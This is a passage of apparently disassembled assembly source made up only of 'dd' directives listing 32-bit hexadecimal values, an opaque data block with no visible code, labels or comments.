		dd 0B3A3B85Eh, 4A62FA2Eh, 10E3238Dh, 7E821DB5h,	909B5A1Fh
		dd 493FA615h, 0BCC92EFDh, 968BE7C0h, 44065DA2h,	71641E75h
		dd 9C3DC3D9h, 0C4B35DFCh, 391E4E89h, 0E4AD3219h, 5460485Eh
		dd 3A74AF17h, 0A2C529F8h
		dd 79975FDEh, 0F0F214B7h, 0F57CEF97h, 5F08F53Ch, 2278CB29h
		dd 7E12E49Ch, 0E4A76C8h, 496D6174h, 5BAB0A7h, 0AFBE103Ah
		dd 1DC35233h, 1BFE20DEh, 0AAA05610h, 4EE253DEh,	5B436B59h
		dd 0E37455E4h, 25A49A87h, 64E44BFEh, 5A996946h,	0AB0F3B1Eh
		dd 9504940Fh, 0E0A4C74Eh, 76084563h, 0FE72F6C7h, 43815AEBh
		dd 0F7B00F7Ch, 88A868F0h, 3DED9945h, 0AF464583h, 0FE78773Ah
		dd 0FF2648B4h, 0BEB32E96h, 7B78B2A0h, 42BB3766h, 2F583E24h
		dd 377731E0h, 9A2D2744h, 0A6FF52B6h, 8059B391h,	4B767961h
		dd 0CE63275Dh, 0F59BB445h, 0BA9C08ACh, 5C6C8D73h, 78D11020h
		dd 0ADE34870h, 9C78AC2Bh, 201059F3h, 31EA0922h,	0E9E0A6F1h
		dd 5FB32ADCh, 0FC0CA5E1h, 40296F75h, 71717C9Dh,	4142954Ch
		dd 57782C4Ch, 7DA8F267h, 768CE2EEh, 16691017h, 4A7E35BCh
		dd 190120EDh, 0BA197E5Eh, 0D4467E46h, 43005C2Ch, 0C4E25C8Fh
		dd 7B32FA9Bh, 3FB0EBEFh, 0F6B1E56Eh, 0D364E5D0h, 52E7854Eh
		dd 9444B4D3h, 9BAD2A54h, 0EEAE8703h, 56695D6Fh,	0D0ECBA9Ch
		dd 0D89FBE6h, 0BF4845B3h, 54AE020Fh, 1E89CE2Bh,	665E1818h
		dd 0CEE78FB5h, 0D0CE1FB8h, 605B0E67h, 0F0494EFEh, 3DBADE80h
		dd 27894230h, 5D48A5C2h, 8482C5E1h, 0D8DABB8Dh,	3229157h
		dd 964C8848h, 0DEEFD403h, 0D5D3CEFBh, 781140DCh, 766BFCECh
		dd 6409349Ah, 43F049A1h, 80BC710Dh, 0B899FE08h,	21AFC27h
		dd 0EB40E3BEh, 9D86D83Fh, 0AEA20619h, 89F01A90h, 0E0E5A589h
		dd 0C7027DEAh, 0A5DAE375h, 0C02BE4EAh, 0DE37FB7h, 7E73F598h
		dd 0E426BD5Bh, 779C968Fh, 0A3C4A719h, 557781D0h, 17EB2171h
		dd 0B06793AEh, 79F617D5h, 732E55A5h, 5C704989h,	0BBEC3C1Eh
		dd 0CCB70F71h, 0B4520F1Ch, 0FD4ECBA0h, 3CE1576h, 3862960Bh
		dd 889BB029h, 79E6FDF2h, 54DCAFDBh, 0AE97DEBBh,	364938C3h
		dd 75E3147h, 6C26FF59h,	5F5CE367h, 2AA90DD8h, 0A76D173Eh
		dd 257D5ED7h, 4F03182Eh, 0DDB48FBFh, 0DC38FE9Eh, 851A2B58h
		dd 0C73DE29Eh, 0FCEB80Fh, 0FEC37B7Ch, 747ECBD2h, 23B60BF1h
		dd 560E885Eh, 0EECBFB72h, 9E01B9EFh, 94E3B9A9h,	87806F12h
		dd 0E095C521h, 9782ADE6h, 0C6E6EEB6h, 2A915B0Fh, 48D5FB2Eh
		dd 0A6F93C0Fh, 2824233Ch, 0BFDAC389h, 0C7DA6CB3h, 0B0252298h
		dd 2FCB7B9Ch, 5C5CA3C9h, 0C0608EBh, 8BD89AB7h, 4F0DB220h
		dd 6F555794h, 29E856F9h, 689FF830h, 0AE39B44Dh,	0DFB8AA7Ah
		dd 34B1361Bh, 0A28DCF78h, 0EA829A95h, 0D6CA7ED6h, 83215603h
		dd 0F1174F90h, 0E9211A86h, 0C623A5A9h, 0DB0168F8h, 0EA98B0F7h
		dd 0A529B79Ch, 0EBB8C6FDh, 361045A7h, 5660602Bh, 0F03FC4Ch
		dd 0A581BFE5h, 0EA430CCFh, 2EED2FDCh, 0AEB0570Ch, 921D26B0h
		dd 8C1DC573h, 0E078DB2Ah, 7612D794h, 0C7009D87h, 0A2539551h
		dd 0FED553E8h, 4FB8613Ah, 3D4A5EAFh, 77EEB79h, 7669219Dh
		dd 778CB563h, 7B589F3Dh, 44D79BB9h, 57469CD6h, 27BB6A21h
		dd 8B891803h, 853E03CAh, 5B9173B4h, 62604257h, 0FD4CBBE1h
		dd 0F85D7877h, 0B6BC4292h, 90135766h, 303AAFBh,	0FF3C8AB6h
		dd 0CE28E8E5h, 5CA1D7B6h, 4762B4ADh, 5E161895h,	0EF84071Dh
		dd 90A26BC0h, 0E2F257C3h, 7D449CAh, 66B6E7BCh, 0D5D044Ch
		dd 0DDCEFB95h, 0B872B6E9h, 1A7E42F3h, 2607892Ch, 0D5DE0928h
		dd 0B8929338h, 5316B66Fh, 0DBB1587Ah, 3FECAE8Fh, 56CB738Ch
		dd 0D2E13025h, 7ABD85F5h, 0A2D9A45Fh, 4ACBA339h, 0C0F95317h
		dd 0D517F359h, 7CA6E0F5h, 0BF7A82FFh, 13F8FE30h, 0B22F5ADCh
		dd 0BAC808Ah, 53987EBAh, 702C2ED0h, 0E6E3E37Ah,	0F6B75834h
		dd 4A0E6A73h, 0D3F92EF6h, 0FD1D01AFh, 8F8589D8h, 0A1D849C3h
		dd 6BD170DAh, 4BC6DCFh,	0FBD9DB37h, 4453BC9Eh, 0FE382B59h
		dd 69E860B9h, 0C2BCAD14h, 0BCBCD4B8h, 27BA80DDh, 0F5334FDCh
		dd 0B7AE0E1Bh, 9F1B4C25h, 71F9BB40h, 0F762A56Ah, 35DF5248h
		dd 462FFBF1h, 43D23583h, 745E70AAh, 8F65D4C9h, 82CD23D6h
		dd 0EDD450BFh, 510FDEB8h, 0D8A6A422h, 0DA6732AEh, 5E0F59BAh
		dd 0D9A96401h, 9946F162h, 0DF24AE6h, 2AAA5B01h,	4DFAA372h
		dd 8A43785Fh, 452AACAEh, 0DE9D9EABh, 7A01AB9h, 0A2BA1B0Eh
		dd 8BBD472Dh, 1EA42C20h, 0FC5A53Eh, 2F61C6F3h, 726C6B31h
		dd 76581C95h, 43B0CD45h, 0ADB05B47h, 2C93BE97h,	91F187E3h
		dd 75EF3064h, 8316C0D6h, 11F855D0h, 62AC0FADh, 0E24DB67Eh
		dd 0B43C941Eh, 0CFEE96FCh, 60EC6ACBh, 3BEA3F88h, 62B4DA38h
		dd 3CEA18E7h, 6D42BBB9h, 0A63821FDh, 0B0672E06h, 35DEA63Ch
		dd 0EBE607EEh, 19E0D150h, 3A6B70C2h, 7F15A2FCh,	0A552C4C5h
		dd 466EBC86h, 9F8AD229h, 5A6BA0D9h, 0B0EBAF52h,	0EF4C375Ah
		dd 7B81535Fh, 0E200AC1Ah, 0AABBB589h, 0FEEBAE5Bh, 0A3FAF5EDh
		dd 0C9D6E7D1h, 59773D7Fh, 0BFDB23AEh, 0E54F74B1h, 0DF26CC69h
		dd 1F4D8402h, 0A925F95Dh, 0A409CA82h, 0F32FED20h, 9F893AE6h
		dd 4A0E0A5Dh, 55A9D43h,	0D77ABA2Fh, 0AB5CD1BDh,	78A9A86Fh
		dd 0DD81C537h, 0EA371459h, 0D7811B1Ch, 6ADC9C57h, 0BEE9055h
		dd 0B6A36516h, 0A93DA146h, 0FCE0665Bh, 0AB6B95C5h, 0AB594C0Fh
		dd 6E26A79Dh, 547E592Ch, 7DBF0B5Ch, 4B1C4D9Fh, 7055D4FDh
		dd 573A7B26h, 0AE055BB4h, 46931B82h, 1BEF56A7h,	0AE770C49h
		dd 871CC12h, 481DE9DFh,	0F5E7DF4Ch, 4B702F91h, 0E5F4A4F9h
		dd 1C292536h, 0A5204B18h, 8ACBCC56h, 0EC2F5AADh, 0BB48968Ah
		dd 63D263C4h, 0A138A5A3h, 0A5FC5289h, 9A8770CDh, 0D68857F4h
		dd 0F7E3A732h, 9C197F75h, 0BA16CD3Ch, 0DB8C1256h, 97E10797h
		dd 0C57D9CA5h, 553DC3A8h, 1055B035h, 89FC6D47h,	54A15BF0h
		dd 8A4060DCh, 63BCC847h, 0FA4BB601h, 0C9F4E2FDh, 0C28B0E9Fh
		dd 8D315DFAh, 840F4A1Ah, 5FA5BD35h, 0D56BA56Eh,	0B5E153A0h
		dd 3773BE54h, 6BD75C9Eh, 0FEBA7276h, 0F8925D1Bh, 0E0090558h
		dd 0D0D036C6h, 2D7BD5EDh, 58B5E8B0h, 0D5B09353h, 0C96041A9h
		dd 0EFC34C29h, 79A14BEFh, 8431F8B0h, 73FC30AEh,	48273EEDh
		dd 5FF2F8A9h, 40EDBA9h,	6DA85F52h, 8A440EC6h, 0E0302FF6h
		dd 6FDEE4BBh, 0DF54B8FAh, 0D9708E2Dh, 0AD20F01h, 2607E3A9h
		dd 0C505ED0Eh, 0CF72C1E4h, 92C5F753h, 0DD4F8A68h, 2855CA51h
		dd 0A7891E6Dh, 0C9AD2D08h, 75971B5Dh, 8AAD5A2Ah, 790B4E16h
		dd 5C036E70h, 0B6660790h, 6B61FF18h, 0ECFF9BC1h, 67715DEEh
		dd 0A2F26AEDh, 0E56D9538h, 0DD6D9B51h, 0CF1D3870h, 0C51ADA3Dh
		dd 0C5F7CCFFh, 2597454Ch, 0EEEE6BAAh, 0D0B14CBFh, 0CA285FD7h
		dd 2E11CFF2h, 0B37197AAh, 0FC165EA4h, 0A6ADC370h, 0FA3A57CCh
		dd 1DACD6C0h, 965B927Bh, 556CBF83h, 0B06A85CCh,	603418A4h
		dd 25952F6Fh, 1132288h,	0F81752C3h, 0B2DEE47Dh,	25248CEEh
		dd 0BE6E09A7h, 8266D6C5h, 6BE9736h, 56D6F1F0h, 0F2AD59D2h
		dd 0B49CDE4Dh, 0E5614179h, 2891F71h, 0DA3CFBF9h, 0B699BA07h
		dd 0CD1D909Ch, 0ED560ECFh, 50165306h, 8CF29D6Ch, 35E46047h
		dd 0D3C6E361h, 62B398ABh, 352C6B3Dh, 41C721CBh,	7748DA72h
		dd 506FBF82h, 0B522D4B4h, 0F1710A03h, 0DF1EE66Fh, 0CC55CBE0h
		dd 0D8270F09h, 0FB5AA8B9h, 82ABC224h, 0AEB250E9h, 0D93EC04Ch
		dd 0A5599F95h, 52B12784h, 9E6E868Bh, 6FA2AFA8h,	0E48EFC3Ch
		dd 85249327h, 52EF8A9Eh, 41F59C8Ah, 9CC75935h, 2FE7BF4Ch
		dd 23BEDFB3h, 0FFC4C551h, 0B62FD2FCh, 6AE4D607h, 0D0B6C7B3h
		dd 0D9C5026h, 0ED1F8EF5h
		dd 0BDDAB984h, 1B13E602h, 0D3DF7C3Fh, 108C7FECh, 0E160953h
		dd 792AFE1h, 44FBEDEAh,	49C2C9E1h, 0A2A34891h, 0D277CD25h
		dd 86123137h, 99E9C08h,	0FE76EF83h, 0AFBB6D34h,	0B3DD57C7h
		dd 43CDD443h, 0A0417BFEh, 0FDFBDF33h, 4D2C81E4h, 0D12B0775h
		dd 94975E68h, 803842FAh, 6B3BCE29h, 63F7E643h, 5C55ED34h
		dd 0BA9A6A34h, 0F7A71148h, 0FDE34454h, 9D3267E5h, 0B6628197h
		dd 653039D1h, 5B9577B5h, 676EC814h, 695527B4h, 0E1444BC8h
		dd 0EE8DD1B4h, 0CDE52A86h, 1F2108B6h, 2E557D59h, 0FF74DFE4h
		dd 0F21C7BE4h, 0D97F6C4Ah, 8D51AC1Ah, 0E81BDAC2h, 0BE11D62Eh
		dd 68155A2Ch, 0B7CE06FFh, 3CD7D8C4h, 0E529E67h,	20759DDCh
		dd 0A466B351h, 0FF72947h, 0E36BFB25h, 9612FA6Eh, 0C32A2FB7h
		dd 0B379D2E5h, 0B078EB1Ah, 198E115Fh, 62BB54ADh, 0A686D78Ah
		dd 70E54031h, 0B040BCF0h, 0A2A9E924h, 0B8FEBF1Ah, 0EF6B8073h
		dd 24CFCDC2h, 552610B0h, 0BD4DC639h, 7FEEF2Eh, 3DB75C22h
		dd 0DB9D69EAh, 3075579h, 85FCF875h, 5E96174Bh, 0C603B03Dh
		dd 9144C38Bh, 48EE5B45h, 60D312F1h, 67F1F463h, 0A3FAFEEEh
		dd 1C0A745Fh, 0A2E66D5Dh, 0B2FEEA1Ah, 26D291C1h, 336F210Eh
		dd 0A61AF87Eh, 0C8AFCB7Fh, 5938A168h, 4DB8DD8Dh, 281BBFD7h
		dd 6153845Ah, 0D4EF783Dh, 0FC8EB8BDh, 0A3FB5652h, 0E8CCF5Eh
		dd 6167780h, 81DC3A62h,	0FE6018BDh, 55578CB5h, 0C7C4A1B5h
		dd 23B8650Eh, 66755471h, 5C9E1F8Eh, 6FD23B30h, 5A1F77C5h
		dd 0FB5401E4h, 64348385h, 247F386Ah, 128AD7E4h,	10E65E35h
		dd 0A7711699h, 94C642BEh, 0C41C35E6h, 8AF83E92h, 15D3272Eh
		dd 59B7ECD1h, 6F0696E3h, 0A0B51138h, 0BEFCEEABh, 695716CFh
		dd 31D62D5h, 38251C88h,	0E05B086Ah, 0D55249ECh,	0B71AD5A7h
		dd 4DF395D0h, 14466B01h, 1FD0D599h, 0F507F8CFh,	51A88526h
		dd 0ED7FFD8Fh, 0FF01D319h, 0C7D5AD85h, 258C250Eh, 301C3A16h
		dd 0E6BCD6DAh, 0CFED5E65h, 7F72B259h, 6521AC64h, 0D273152Ch
		dd 0C972D086h, 96F50112h, 3ED1EC4Fh, 1E5D6A7Ch,	0B2D273E8h
		dd 50E9D270h, 3AB5EE44h, 69895E33h, 12E5FF95h, 0E297656Dh
		dd 1787F5CEh, 4C4C6A73h, 1D3093A8h, 0E89BB33Eh,	10DD1858h
		dd 28E8DA82h, 661F7E1Ah, 0FCD7BAA6h, 2F838EC1h,	422992A8h
		dd 7A0C3729h, 61B0DFA7h, 5A3D9391h, 665D8DBFh, 0BFB3FB4Ch
		dd 2FFEA06Bh, 0BB9843D7h, 0B751E2C8h, 37F460C5h, 0BEFCD485h
		dd 2B3C1DB0h, 0AAF96A98h, 29A4CE0Ah, 0E7E1C770h, 0CED3A6F2h
		dd 1A7E8AADh, 0AD2871ADh, 0B46BA39Ch, 0E6C6E1A8h, 5925DD63h
		dd 48251377h, 7FA1B07Ch, 0F46A340h, 561DD710h, 7F9FDA57h
		dd 7078CE44h, 9F083D89h, 0A64D0A52h, 98C3E15Ah,	455C52BAh
		dd 53B9F13Ch, 0F8A2AE9Eh, 0B0F95401h, 714448F8h, 1B7A5AADh
		dd 924243h, 0B2E2D0F9h,	2B5338EFh, 84CF0DC4h, 239BD7D9h
		dd 93B8EE60h, 3C7CFA4Dh, 0D0E9089Dh, 56B4B700h,	2D422ACBh
		dd 0FCAF2FFCh, 6176710Ah, 0B7169065h, 0B4FC4C3h, 0DCA9CA9Fh
		dd 0AFF45750h, 53F18E6h, 95B7482Ah, 8DD2A62Bh, 294DF23Dh
		dd 77B1C282h, 93AF44FFh, 1CB9CA26h, 0E357BCCAh,	8AADFF4Fh
		dd 3A291BDAh, 8A9B655Ch, 7762FFC5h, 2252604Dh, 76659AF5h
		dd 46BF94A8h, 73F8AD9Bh, 0CFBE9ADEh, 113F8CD2h,	8C771E52h
		dd 0EFA528BAh, 89431AA4h, 9C72AD69h, 0A39AF0F8h, 25FB8CA9h
		dd 0CE6B58E9h, 8764D1EEh, 45B26568h, 3A7EBB1Ch,	7815CD79h
		dd 0E5A102Fh, 13F95522h, 796DE3C9h, 8A91E07Dh, 9120F1FFh
		dd 8E7544EFh, 0E06DDCBBh, 606B6AC4h, 0AEF15957h, 0A7F9D407h
		dd 0CD3668D0h, 0F430758h, 39AFB42Ch, 0FA9D25DCh, 684787E0h
		dd 0F701D6E0h, 2B39AA37h, 4A76D935h, 55BC68E7h,	0ECFCB815h
		dd 68C2A298h, 956F2AB3h, 0F11F2D4h, 0C20652FAh,	98D9C564h
		dd 63EA2651h, 951AEC7Ch, 379382F6h, 0B47ED08Ah,	5748CF52h
		dd 366B66E1h, 0A0AF9382h, 6A32D188h, 0FA1CCA18h, 55EA02BBh
		dd 366A2273h, 336362A9h, 0F433345Eh, 7A8A9B02h,	585A7295h
		dd 360A02B3h, 7F6EEB58h, 0BE55518Ch, 5E2E64ECh,	9E1A92Ch
		dd 0D8CF63DCh, 9DD2706Ah, 5497C5CBh, 9FDE555Eh,	5529F440h
		dd 0E1BDEC40h, 0DE92BB87h, 79C0D835h, 2FF8B4B1h, 0DF2B20EDh
		dd 8C0E1F34h, 0FFB15192h, 0FAEF8F90h, 4D08C568h, 15D35C47h
		dd 1893B0D2h, 0AA8C31B5h, 0CF73ED8h, 0D6638686h, 52FCB9C8h
		dd 2FC1B895h, 928C997Ch, 6710CDE0h, 0E369050Fh,	880CBAF7h
		dd 2D0CF7FBh, 0C3328323h, 4D4D1F6Fh, 0EBA30330h, 0F3C16206h
		dd 707F8CEBh, 859AB4AAh, 73424FB9h, 6CEBC8FFh, 0AEC51C3Ah
		dd 8BAFC322h, 0FEB8E9C1h, 4FDDE4A1h, 2320DAB4h,	0D5FAE5BAh
		dd 0DD0EE3CAh, 87E9973Fh, 0A2CF7ABBh, 5DEA129Bh, 0C6463ED9h
		dd 1592A341h, 0BFADC56Ah, 33EB9A09h, 9CFC3E01h,	5A3B96C9h
		dd 0E87B6E38h, 0F7AE4CF9h, 1950CDC1h, 0B388735Eh, 0CB8ADE5Dh
		dd 7D7BD927h, 781595BDh, 95EE6D7h, 2D69547Fh, 0ACBD3A22h
		dd 6D68F33Eh, 940CCBC6h, 154790EEh, 0D1506FC6h,	0BCD36203h
		dd 3AA231A3h, 0A4FC98DAh, 0C0411968h, 0D7257FDAh, 0D0CDC47Ch
		dd 47A1C021h, 0D85F579Dh, 0DADCD247h, 0C47B43AEh, 0C1197E0h
		dd 5F179A81h, 617A58C5h, 99CDFE5Dh, 0E70042AAh,	7434E0BCh
		dd 44E06495h, 545524F4h, 4FF734B0h, 0C1E25D8Ah,	84F72FBBh
		dd 88DBC100h, 313D61Fh,	0FBBC4E07h, 0F6A410C0h,	1134DC5Ah
		dd 8BF1BFDBh, 7FA59953h, 23ACBAFCh, 0F109655Fh,	0A4D66DAEh
		dd 8DAD783Ah, 9151CFAAh, 0F86EBB6h, 0C9EE040Dh,	86E2015Dh
		dd 0C9C92DC4h, 0A7CE69A0h, 0F7BFD9E3h, 0F85EE485h, 0E9724CFBh
		dd 5C3F1012h, 0D73858BFh, 0BBDC13B5h, 4C2F7419h, 7F393DD5h
		dd 0B59182Ch, 0D7543521h, 1B8F63BDh, 474A7134h,	966AA2FAh
		dd 0F9CB8DF4h, 0CC1302B4h, 35A2FE90h, 9E52BCC9h, 0B74C7741h
		dd 0A7299FD6h, 3220FCAh, 0A3AFE07Bh, 0AAD8D18Fh, 0C7298A16h
		dd 3DB8A729h, 5B13BFA1h, 77F2492Eh, 70802D70h, 0CDC21AD8h
		dd 0D00ACFFBh, 95AC91FFh, 0F54CE521h, 3314C05h,	0D92A4EC7h
		dd 0E6127C65h, 0C74DBA8Bh, 3EF698BBh, 8FE3B4EDh, 0E1986863h
		dd 9B64E0F0h, 0FB1012D6h, 0FFF59746h, 54FF1289h, 0A4CF33C4h
		dd 0DA3D3EDBh, 87A12E20h, 2C52456Fh, 0E1195F36h, 73038AADh
		dd 0C5FCAFE7h, 0E4C1F797h, 1BA391B5h, 0AAF85DBCh, 8F6BC0C4h
		dd 0F463FF03h, 7AA5FD81h, 0FDE44AD6h, 8BDECEEBh, 0E1A5FAC0h
		dd 57F290B5h, 0C7A6AFC9h, 0F47DBC94h, 6EDA3D71h, 52BA6796h
		dd 59F4CBA4h, 9FD43F68h, 8759FCF3h, 4D2EE287h, 5B2F8A16h
		dd 5368FF39h, 308FE7F0h, 0F5887230h, 38F0FE6Eh,	398918CAh
		dd 0CAE5996Ah, 0C34E889Eh, 1F431879h, 538D97C8h, 1EE79096h
		dd 9D6A0BE5h, 0DBAA65B1h, 8A985FDCh, 4B35DE5h, 0F68DE194h
		dd 70DD0BE3h, 49A602A5h, 0E0F1C382h, 8A54F292h,	0CB76E3A6h
		dd 2DB5EE71h, 606225DEh, 0AE37FDA5h, 0A3C4B52Fh, 875AB9F0h
		dd 757925BFh, 0C0315D4Eh, 1F797E86h, 173DE55h, 0DF7472EFh
		dd 8AFDD9D5h, 0EA41898Bh, 0F6B53B8Fh, 0A5EB2472h, 0FEEFAA47h
		dd 86AE1B91h, 9401162Ch, 733CBDD5h, 0FF6685FEh,	0C8488197h
		dd 242AA316h, 0BDF27CE7h, 0BCEE3990h, 5CB3369Eh, 386EF7BAh
		dd 0D81F1338h, 73FBF723h, 6BC42F33h, 5E259901h,	0E80E83FFh
		dd 57DD0B1Eh, 0B78C9C0Ah, 5ABE4400h, 9E4FEDA3h,	256C2C31h
		dd 0E4A407A5h, 0F73F7AF7h
		dd 0C6EE3B8Dh, 1312E70Fh, 97C4E32Eh, 3CAE7A36h,	0BB3C94BFh
		dd 8E1C3422h, 0E2823FAh, 0F84D23BFh, 0E8CBF854h, 6C0648D8h
		dd 30ACAF8Ah, 0AF2F3DE8h, 0F0E8E964h, 825A5EF5h, 0E1412948h
		dd 2C502162h, 0E2545609h, 73C32EABh, 6D30739Ah,	5BF38887h
		dd 0A33E7C1Eh, 439EA5E5h, 0E5FFE041h, 0EF315930h, 0B5357F2Bh
		dd 0BD51FC10h, 9455675Fh, 978AD56Eh, 0ACC25CA6h, 0EBADF154h
		dd 72D8E2A9h, 0E05DA2Dh, 0AADDEEB1h, 0D92883F1h, 0FDA8A5C7h
		dd 0F1CC6268h, 0F324DB7Fh, 9AD15F65h, 0DE075860h, 0EAEBD31h
		dd 111B6153h, 47AFDE1Bh, 3DCFA8B3h, 0ECBC9F50h,	0BDA4F29Ah
		dd 0BAE964DAh, 150F56D1h, 0CD75E31Fh, 833BBFEh,	0AD91BBEh
		dd 0A04B58E0h, 7C52622h, 4E607A86h, 0A3CBAC9Dh,	5559AA4Eh
		dd 54A15904h, 0CB78FD33h, 558BFCF3h, 19D3B9D5h,	0D2B99ACFh
		dd 0CC9B66ABh, 85E1AF91h, 5915ED64h, 3F1E212Ah,	0BC01DF64h
		dd 965514B8h, 2C42CF7Ch, 35F23BF9h, 930666BEh, 0C8EAEEF0h
		dd 58B145A2h, 1DE2F1EBh, 0F07932F0h, 0F0F15ACh,	0E3D1D04Ch
		dd 0F4B75786h, 0F0304BF2h, 79F1923Ah, 53E1C65Dh, 0DA770554h
		dd 394E84AAh, 0A0C225DFh, 10F87138h, 0EC4F79BAh, 0CA2F0AE0h
		dd 497EB588h, 18FEC128h, 3BCF1640h, 0B1452427h,	579B5D91h
		dd 721A69E9h, 226BB013h, 7C2D1C0Fh, 0B0938AD0h,	556A1517h
		dd 6F9CFDAAh, 0F22A5247h, 0CF79281h, 5B5A1688h,	6D32B362h
		dd 0BEDDFB18h, 0ADED83C9h, 0EC67D78Ah, 85A35770h, 703D48D5h
		dd 0F2749A95h, 0FE733190h, 62AD1962h, 0F28DB281h, 0E345A54Bh
		dd 3CF3A84Fh, 762A1423h, 5EA9AF6Ch, 246A739h, 60C194B6h
		dd 8A5B5249h, 0CE4CB732h, 0FB491984h, 0F76A396Eh, 8DF361C0h
		dd 0E16A1A7Dh, 0E9403BF7h, 0D22C4D5Ch, 3C00C3CCh, 0A10BDE56h
		dd 0F16B40EAh, 5D412FB7h, 9E37A9CEh, 6F6F7AB9h,	60260AD2h
		dd 21F60DF0h, 0E806E5C9h, 0B43FB5D7h, 0B8158BFFh, 0B5100BC2h
		dd 2F2164B6h, 65CAB595h, 2F73C45Dh, 0EB3390ADh,	6520B90Bh
		dd 9245A46Eh, 6EF4C7AEh, 99DD9A6Fh, 6ADB5233h, 0EE1FEAA2h
		dd 3AFC57B2h, 3E524071h, 0D3EDC430h, 0A0E2989Eh, 1E0B117h
		dd 65FFF8C3h, 8EEC9F6Ch, 0B5E572FFh, 0F92396E4h, 0F64EF659h
		dd 0C4FB1F46h, 9CF7FE4Dh, 4A7542FBh, 8A0BFBABh,	8916160Ch
		dd 66CF04D6h, 6F2A1160h, 257D7ED6h, 0DCC494D4h,	259EA035h
		dd 0EBD59FA1h, 73DE8BDCh, 8A499D57h, 0B8A197C6h, 0D704688Ah
		dd 794560E2h, 2079553h,	68AD071h, 4B361330h, 14F12799h
		dd 625992D0h, 2794333Fh, 0D6EF619Dh, 0C76D77F0h, 0E1F45C40h
		dd 0D4C8B487h, 1E5FFF85h, 673889BFh, 7A66E80Eh,	1E13AEB4h
		dd 99153ED3h, 0AA28FB94h, 0BF3A7806h, 0BD28AA71h, 0E9EACCDDh
		dd 798A8531h, 1EDFD5E6h, 0B70AF65Eh, 5797BB8Fh,	87B23F9Fh
		dd 69D694D8h, 46D1A0ADh, 627BA92Dh, 0E24241EBh,	3E536AE8h
		dd 0D4BFD610h, 60D4DFD7h, 0B737E79Fh, 87106541h, 1E47165Fh
		dd 21F86E7Eh, 0A5B1FC15h, 0C0491D4Ch, 842C081Bh, 0F03DA399h
		dd 49FEBAB6h, 537F6B10h, 462471Dh, 0F4B8F109h, 3DB824BAh
		dd 0DA69BAE7h, 5317882Fh, 0C7F285B7h, 6810DE67h, 6DA4AB3h
		dd 8DD6F23Fh, 0E6FE8C4Ch, 7DBC46CAh, 2D827B74h,	0CEF44075h
		dd 21613FFBh, 35484F38h, 4C9DECD0h, 0DB254B49h,	268FBF45h
		dd 0DBE7DC52h, 0BC5CA8B8h, 0A3CD5B5Fh, 7F552A9Dh, 0C2D359FDh
		dd 3AEBA32Eh, 0D457F727h, 539C33Ch, 4D6BC398h, 0D350B241h
		dd 5E3C90B9h, 0AC167EFCh, 7F98BCC6h, 0B5727DEEh, 0DA3A5E63h
		dd 965C13ECh, 3E21063h,	0B1CF3FBFh, 0E7A6B25Eh,	1BCFE0C5h
		dd 7DFA43F0h, 5B5AA03Ah, 0C3D80EBCh, 0D32F3576h, 3A3425C0h
		dd 0A63686E9h, 999C5E8Ah, 0B68A8BECh, 4E8030AEh, 0A1BC1287h
		dd 56DC5A5Fh, 0B8A4A97h, 26DC3F81h, 721ED9A9h, 0DFB3F9Fh
		dd 6FE5FE94h, 2A7D5D3Dh, 87E2F3A3h, 0A57ECFEEh,	183A2034h
		dd 4277E1B6h, 0B1BA22A7h, 54F689BFh, 0BE65451Ah, 5EB06240h
		dd 0EBDB7D57h, 792D6D65h, 0F3968379h, 0D9811C48h, 30BC886Fh
		dd 0DFACF962h, 394BDECFh, 73A5AAADh, 0A041288Ah, 6C35F48Ah
		dd 179820ADh, 0A65FE5FEh, 0DF5A6C53h, 0C34A91ABh, 7CAE2600h
		dd 6EF6F870h, 0D5CD9CD7h, 0FACFABE7h, 0B0318242h, 0CEDD62CFh
		dd 9D5859Ch, 3048666Ch,	43878F85h, 0D09E3DDBh, 94365767h
		dd 0FF17B354h, 0BF73FBBDh, 25D4E4D0h, 0C62710F5h, 7BA6C705h
		dd 83182BBh, 0AF3BFB8h,	3B451D10h, 0F5F2605Ch, 381F6F5Eh
		dd 0CBC65F67h, 0C6C9063Bh, 0A48BD084h, 1DEB77C6h, 450341EDh
		dd 0E6625719h, 73B1BFE5h, 1FAF7C29h, 98D19998h,	0FC147766h
		dd 0EE55E430h, 55D82648h, 669FB471h, 2571D705h,	0A62A874Ah
		dd 5A582925h, 5A23BA47h, 16D22046h, 5C2E7387h, 0AAFAE5FCh
		dd 0E1BB9575h, 2D6DF38Ah, 0D9BBA828h, 29AF6396h, 6684DED0h
		dd 6056215h, 0AF0357EDh, 0E8B55EE7h, 2CC3F6E7h,	0D24E5325h
		dd 39AFC52Fh, 0C2B7BBh,	9C65906Ch, 761DE9E7h, 0A9AFD764h
		dd 0FFAD0190h, 0E95FC5C6h, 8ABFDAD8h, 4E8CC32Bh, 2F6EE650h
		dd 7744EB9Ah, 0BA7F0539h, 5C3FDBBBh, 0A245F91Eh, 4C1F4A85h
		dd 386EB6F0h, 0CABE246Eh, 0A2C9E5E8h, 0E6F523E5h, 0CA77A6Ah
		dd 81E0ABABh, 0AABCDF8Dh, 177EE32Bh, 966A5C43h,	0CA055C6Eh
		dd 444B505Fh, 0EC43BC25h, 2D02FDABh, 254BF1B7h,	0E0F9C359h
		dd 0FC3CA9CDh, 0A44DA270h, 3B57E730h, 6670CF33h, 561084ACh
		dd 4FDD48B8h, 0D4B515B4h, 7C62CBC3h, 0DEEE5267h, 5BB4C1AAh
		dd 0EA0F7AC0h, 652EB2F0h, 0F2893D54h, 83B84F05h, 2CEA3D43h
		dd 3A4FFB6Ah, 5C195F91h, 366BE77Ch, 0F6AA0C45h,	579FBF0Dh
		dd 0DE44C35Bh, 8C89D40Ch, 0E894E21Fh, 85E6C9C7h, 10B367D1h
		dd 9FC80EDh, 6ABDFBD5h,	49617F87h, 0F221CD65h, 0E1D77ED3h
		dd 0AD5AF8FCh, 8E7B3C0Fh, 9044D18Eh, 5FC56D4Ah,	0FB08C713h
		dd 4F61034Eh, 0DF3A4BAh, 0C0AFD09Bh, 0FF5686A6h, 92599F43h
		dd 0D4D70A6Eh, 0B55F68B1h, 15576FAAh, 4022C5CCh, 43F08A49h
		dd 0B362E80Ch, 5431935Bh, 5A0D3678h, 0AE281F1Eh, 5BD80A6Dh
		dd 31686079h, 0B203CC2Ah, 0EAA5AA2Eh, 78AA59A9h, 8067F1CDh
		dd 5139FC71h, 30C8CB5Dh, 157CB2D1h, 0D802EE66h,	9B3F5447h
		dd 2DC780FFh, 42C9B8B0h, 67EF3733h, 0C3F0D405h,	3AABD3E1h
		dd 0AEB5775Ah, 4DA3DF08h, 519D0A05h, 0DE334620h, 7170F80Ah
		dd 15790D04h, 92EDC804h, 0F16EFF14h, 0EBA94CFBh, 1FEEF999h
